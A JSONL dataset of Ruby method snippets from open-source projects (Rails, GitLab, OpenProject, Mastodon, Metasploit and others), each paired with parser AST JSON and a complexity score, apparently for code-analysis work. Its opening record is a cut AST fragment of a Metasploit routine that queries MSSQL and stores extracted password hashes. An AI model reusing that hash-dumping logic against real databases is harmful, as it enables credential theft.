hashes...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"run_sql\",{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"instance_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"include?\",{\"type\":\"str\",\"children\":[\"0x\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"mssql12\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"200d0a\"]},{\"type\":\"str\",\"children\":[\"_CRLF_\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"0d0a\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"_CRLF_\"]},{\"type\":\"str\",\"children\":[\"0d0a\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pair\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},\"hex\"]},\"chr\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"hash_array\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]},\"grep\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"0x\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"store_hashes\",{\"type\":\"lvar\",\"children\":[\"hash_array\"]},{\"type\":\"lvar\",\"children\":[\"hash_type\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Unable to retrieve hashes\"]}]}]}]}]}","id":"fe8a3889-4b17-4513-a014-ea3d75c73d3e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/labels_finder.rb","start_line":186,"raw_source":"def ids_user_can_read_labels(projects)\n    Project.where(id: projects.select(:id)).ids_with_issuables_available_for(current_user)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"ids_user_can_read_labels\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"projects\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"projects\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},\"ids_with_issuables_available_for\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}","id":"a93679fa-6bc6-4e5a-8868-b21cd199cace"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/metal/http_authentication.rb","start_line":555,"raw_source":"def authentication_request(controller, realm, message = nil)\n        message ||= \"HTTP Token: Access denied.\\n\"\n        controller.headers[\"WWW-Authenticate\"] = %(Token realm=\"#{realm.tr('\"', \"\")}\")\n        controller.__send__ :render, plain: message, status: :unauthorized\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"authentication_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"controller\"]},{\"type\":\"arg\",\"children\":[\"realm\"]},{\"type\":\"optarg\",\"children\":[\"message\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"HTTP Token: Access denied.\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"WWW-Authenticate\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Token realm=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"realm\"]},\"tr\",{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"__send__\",{\"type\":\"sym\",\"children\":[\"render\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unauthorized\"]}]}]}]}]}]}","id":"b4dea9ff-8ee6-499d-a272-a5b268858dd0"}
{"repo_name":"openproject","file_path":"./repos/openproject/db/migrate/tables/member_roles.rb","start_line":34,"raw_source":"def self.table(migration)\n    create_table migration do |t| # rubocop:disable Rails/CreateTableWithTimestamps\n      t.bigint :member_id, null: false\n      t.bigint :role_id, null: false\n      t.bigint :inherited_from\n\n      t.index :member_id, name: \"index_member_roles_on_member_id\"\n      t.index :role_id, name: \"index_member_roles_on_role_id\"\n      t.index :inherited_from\n      t.index %i[member_id role_id inherited_from],\n              name: \"unique_inherited_role\",\n              unique: true\n    end\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"member_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"role_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"inherited_from\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"sym\",\"children\":[\"member_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_member_roles_on_member_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"sym\",\"children\":[\"role_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_member_roles_on_role_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"sym\",\"children\":[\"inherited_from\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"member_id\"]},{\"type\":\"sym\",\"children\":[\"role_id\"]},{\"type\":\"sym\",\"children\":[\"inherited_from\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"unique_inherited_role\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"6a96bc99-3c14-4e98-babf-458eaf41d216"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb","start_line":92,"raw_source":"def print_error(msg = '')\n    super(\"#{peer} - #{msg}\")\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"print_error\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}","id":"1d5f6c90-10a2-4cce-8118-31194886bf0f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/rmi/model/ping_ack.rb","start_line":34,"raw_source":"def encode_stream_id\n            [stream_id].pack('C')\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_stream_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stream_id\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]}","id":"0c636f4f-3df8-4752-a816-fbe2985b6c44"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/snippet_statistics.rb","start_line":26,"raw_source":"def update_file_count\n    count = if snippet.repository_exists?\n              repository.ls_files(snippet.default_branch).size\n            else\n              0\n            end\n\n    self.file_count = count\n  end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"update_file_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"snippet\"]},\"repository_exists?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"ls_files\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"snippet\"]},\"default_branch\"]}]},\"size\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"file_count=\",{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]}","id":"a897439d-fc1a-46e6-bf68-166f5df353c0"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/documentation_link.rb","start_line":22,"raw_source":"def name_to_param(name)\n      name.split(/([A-Z][a-z][a-z]*)/).map(&:strip).reject(&:empty?).join('-')\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"name_to_param\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"([A-Z][a-z][a-z]*)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip\"]}]}]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"empty?\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"-\"]}]}]}","id":"a0eac647-2ec9-4293-b10d-108715cb35b8"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/testflight/testflight.rb","start_line":198,"raw_source":"def delete_beta_groups_from_build(build_id: nil, beta_group_ids: [])\n          body = {\n            data: beta_group_ids.map do |id|\n              {\n                type: \"betaGroups\",\n                id: id\n              }\n            end\n          }\n\n          test_flight_request_client.delete(\"#{Version::V1}/builds/#{build_id}/relationships/betaGroups\", nil, body)\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_beta_groups_from_build\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"build_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"beta_group_ids\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"beta_group_ids\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"betaGroups\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_flight_request_client\"]},\"delete\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version\"]},\"V1\"]}]},{\"type\":\"str\",\"children\":[\"/builds/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build_id\"]}]},{\"type\":\"str\",\"children\":[\"/relationships/betaGroups\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}","id":"9506ef86-4053-4282-88d6-877d8e5f3195"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/adapters/cmd/windows/powershell/x64.rb","start_line":44,"raw_source":"def generate_stage(opts = {})\n    opts[:arch] ||= module_info['AdaptedArch']\n    super\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_stage\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"arch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"module_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AdaptedArch\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"0d15eebd-548a-449c-8ea6-53810f1d337e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/postgres/postgres-pr/postgres-compat.rb","start_line":117,"raw_source":"def size(index)\n    raise\n    # TODO: correct?\n    @res.fields[index].typlen\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"size\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raise\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@res\"]},\"fields\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"index\"]}]},\"typlen\"]}]}]}","id":"2d055360-e184-46b5-93a7-58bba144701d"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/application_controller.rb","start_line":24,"raw_source":"def authenticate_self_hosted!\n    return if DawarichSettings.self_hosted?\n\n    user_not_authorized\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"authenticate_self_hosted!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DawarichSettings\"]},\"self_hosted?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"user_not_authorized\"]}]}]}","id":"a4a51a05-61fd-4d6a-96da-d71cda50e37a"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/local_cache_behavior.rb","start_line":54,"raw_source":"def test_cleanup_clears_local_cache_but_not_remote_cache\n    begin\n      @cache.cleanup\n    rescue NotImplementedError\n      pass\n      return # Not implementing cleanup is valid\n    end\n\n    key = SecureRandom.uuid\n    value = SecureRandom.alphanumeric\n    other_value = SecureRandom.alphanumeric\n\n    @cache.with_local_cache do\n      @cache.write(key, value)\n      assert_equal value, @cache.read(key)\n\n      @cache.send(:bypass_local_cache) { @cache.write(key, other_value) }\n      assert_equal value, @cache.read(key)\n\n      @cache.cleanup\n      assert_equal other_value, @cache.read(key)\n    end\n  end","complexity_score":27.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cleanup_clears_local_cache_but_not_remote_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"cleanup\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pass\"]},{\"type\":\"return\",\"children\":[]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"alphanumeric\"]}]},{\"type\":\"lvasgn\",\"children\":[\"other_value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"alphanumeric\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"with_local_cache\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"send\",{\"type\":\"sym\",\"children\":[\"bypass_local_cache\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"other_value\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"cleanup\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"other_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}]}]}","id":"1a4391ee-5bac-41a1-9bf2-e37429f5df4c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/test_case.rb","start_line":331,"raw_source":"def self.run(*args)\n      super if current_adapter?(:TrilogyAdapter)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"TrilogyAdapter\"]}]},{\"type\":\"zsuper\",\"children\":[]},null]}]}","id":"587c6201-c157-408d-8f9e-d8756dbe5349"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/workers/meetings/pdf/common/agenda.rb","start_line":83,"raw_source":"def write_outcome(agenda_item)\n    return unless agenda_item.outcomes.exists?\n\n    outcome = agenda_item.outcomes.information_kind.last\n    return if outcome.notes.blank?\n\n    pdf.indent(styles.outcome_indent) do\n      write_optional_page_break\n      write_outcome_title\n      write_outcome_notes(outcome.notes)\n    end\n  end","complexity_score":21.8,"ast_json":"{\"type\":\"def\",\"children\":[\"write_outcome\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"agenda_item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agenda_item\"]},\"outcomes\"]},\"exists?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"outcome\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agenda_item\"]},\"outcomes\"]},\"information_kind\"]},\"last\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"outcome\"]},\"notes\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf\"]},\"indent\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"styles\"]},\"outcome_indent\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write_optional_page_break\"]},{\"type\":\"send\",\"children\":[null,\"write_outcome_title\"]},{\"type\":\"send\",\"children\":[null,\"write_outcome_notes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"outcome\"]},\"notes\"]}]}]}]}]}]}","id":"156ee80a-6083-48e4-99c1-695d83beb5e9"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/resource_pool.rb","start_line":124,"raw_source":"def parent_cluster_or_host\n    Relationship.resource(ancestor_rels(:of_type => [\"EmsCluster\", \"Host\"]).last)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"parent_cluster_or_host\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relationship\"]},\"resource\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ancestor_rels\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of_type\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EmsCluster\"]},{\"type\":\"str\",\"children\":[\"Host\"]}]}]}]}]},\"last\"]}]}]}","id":"5a206538-cbb9-49a6-b84f-2821a1fd34a5"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/concerns/api/access_token_tracking_concern.rb","start_line":14,"raw_source":"def update_access_token_last_used\n    doorkeeper_token.update_last_used(request) if access_token_needs_update?\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"update_access_token_last_used\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"access_token_needs_update?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"doorkeeper_token\"]},\"update_last_used\",{\"type\":\"send\",\"children\":[null,\"request\"]}]},null]}]}","id":"f4c96f3c-ef01-41f0-92ce-cb26bad950ca"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/event.rb","start_line":40,"raw_source":"def ==(other)\n      other.is_a?(EventStream) && self.to_msgpack_stream == other.to_msgpack_stream\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"==\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"EventStream\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"to_msgpack_stream\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"to_msgpack_stream\"]}]}]}]}","id":"196b25e0-fad9-40b5-9c70-6366ccbf4923"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/capsule.rb","start_line":90,"raw_source":"def server_middleware\n      @server_chain ||= config.server_middleware.copy_for(self)\n      yield @server_chain if block_given?\n      @server_chain\n    end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"server_middleware\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@server_chain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"server_middleware\"]},\"copy_for\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server_chain\"]}]},null]},{\"type\":\"ivar\",\"children\":[\"@server_chain\"]}]}]}","id":"aec212a9-d0c4-4e6f-8fab-c8295037ae4f"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/service/base.rb","start_line":199,"raw_source":"def initialize(name, method_name = name, class_name: nil, optional: nil)\n        super(name, method_name, class_name: class_name)\n        @optional = optional.present?\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"method_name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"class_name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"optional\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"method_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"lvar\",\"children\":[\"class_name\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@optional\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"optional\"]},\"present?\"]}]}]}]}","id":"199630ee-33cc-46c7-a324-52e9c20eedc6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/api/entities/merge_request_basic_spec.rb","start_line":13,"raw_source":"def present(obj)\n    described_class.new(obj).presented\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"present\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"obj\"]}]},\"presented\"]}]}","id":"1dd2e208-7f95-4885-b28d-4252664c6277"}
